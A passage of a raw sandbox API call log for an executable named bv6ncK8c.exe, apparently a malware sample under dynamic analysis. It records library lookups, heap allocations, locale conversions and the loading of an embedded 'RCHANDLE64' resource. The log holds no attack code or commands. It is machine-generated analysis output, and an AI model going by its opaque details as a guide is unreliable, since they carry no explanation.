(hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0052.845] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0052.846] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0052.846] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0052.846] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0052.846] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3bc) returned 0x5f60d0 [0052.846] GetCurrentThreadId () returned 0x304 [0052.846] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x18) returned 0x5f6498 [0052.846] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x5f64b8 [0052.846] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"RacDatabase.sdf\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x41e352f0, hStdError=0x0)) [0052.846] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0052.846] GetFileType (hFile=0x3) returned 0x2 [0052.847] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0052.847] GetFileType (hFile=0x80) returned 0x3 [0052.847] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0052.847] GetFileType (hFile=0xb) returned 0x2 [0052.847] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"RacDatabase.sdf\" -nobanner" [0052.847] GetEnvironmentStringsW () returned 0x5f6cc0* [0052.847] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb86) returned 0x5f7850 [0052.847] FreeEnvironmentStringsW (penv=0x5f6cc0) returned 1 [0052.847] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0052.847] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7a) returned 0x5f6cc0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xa0) returned 0x5f6d48 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3e) returned 0x5f83f8 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6c) returned 0x5f6df0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x6e) returned 0x5f6e68 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x78) returned 0x5ef8f0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x62) returned 0x5f6ee0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f6f50 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x5f6f88 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2a) returned 0x5f6fd8 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x28) returned 0x5f7010 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1a) returned 0x5f5aa0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x4a) returned 0x5f7040 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x72) returned 0x5ef970 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f7098 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f70d0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1c) returned 0x5f5ac8 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xd2) returned 0x5f7108 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x7c) returned 0x5f71e8 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x5f7270 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3a) returned 0x5f8440 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x90) returned 0x5f72b0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x5f7348 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f7378 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x36) returned 0x5f73b0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x48) returned 0x5f73f0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x5f7440 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x5f8488 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x18) returned 0x5f74a0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x82) returned 0x5f74c0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2e) returned 0x5f7550 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x1e) returned 0x5f5af0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2c) returned 0x5f7588 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x5f75c0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x52) returned 0x5f7620 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x2a) returned 0x5f7680 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x3c) returned 0x5f84d0 [0052.848] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x54) returned 0x5f76b8 [0052.849] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x24) returned 0x5f7718 [0052.849] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x30) returned 0x5f7748 [0052.849] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x8c) returned 0x5f7780 [0052.849] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5f7850 | out: hHeap=0x5e0000) returned 1 [0052.849] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x800) returned 0x5f7818 [0052.849] GetLastError () returned 0x0 [0052.849] SetLastError (dwErrCode=0x0) [0052.849] GetLastError () returned 0x0 [0052.849] SetLastError (dwErrCode=0x0) [0052.849] GetLastError () returned 0x0 [0052.849] SetLastError (dwErrCode=0x0) [0052.849] GetACP () returned 0x4e4 [0052.849] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x220) returned 0x5f8020 [0052.849] GetLastError () returned 0x0 [0052.849] SetLastError (dwErrCode=0x0) [0052.850] IsValidCodePage (CodePage=0x4e4) returned 1 [0052.850] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0052.850] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0052.850] GetLastError () returned 0x0 [0052.850] SetLastError (dwErrCode=0x0) [0052.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.850] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0052.850] GetLastError () returned 0x0 [0052.850] SetLastError (dwErrCode=0x0) [0052.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.850] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.850] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0052.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ`SãAäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0052.850] GetLastError () returned 0x0 [0052.850] SetLastError (dwErrCode=0x0) [0052.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.850] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.850] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0052.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ`SãAäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0052.850] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x80) returned 0x5f8248 [0052.850] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.851] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0052.851] RtlSizeHeap (HeapHandle=0x5e0000, Flags=0x0, MemoryPointer=0x5f8248) returned 0x80 [0052.851] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0052.851] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0052.851] GetCurrentProcess () returned 0xffffffff [0052.851] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0052.851] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0052.851] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0052.851] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0052.851] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0052.851] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0052.851] LockResource (hResData=0x43c648) returned 0x43c648 [0052.851] RtlAllocateHeap 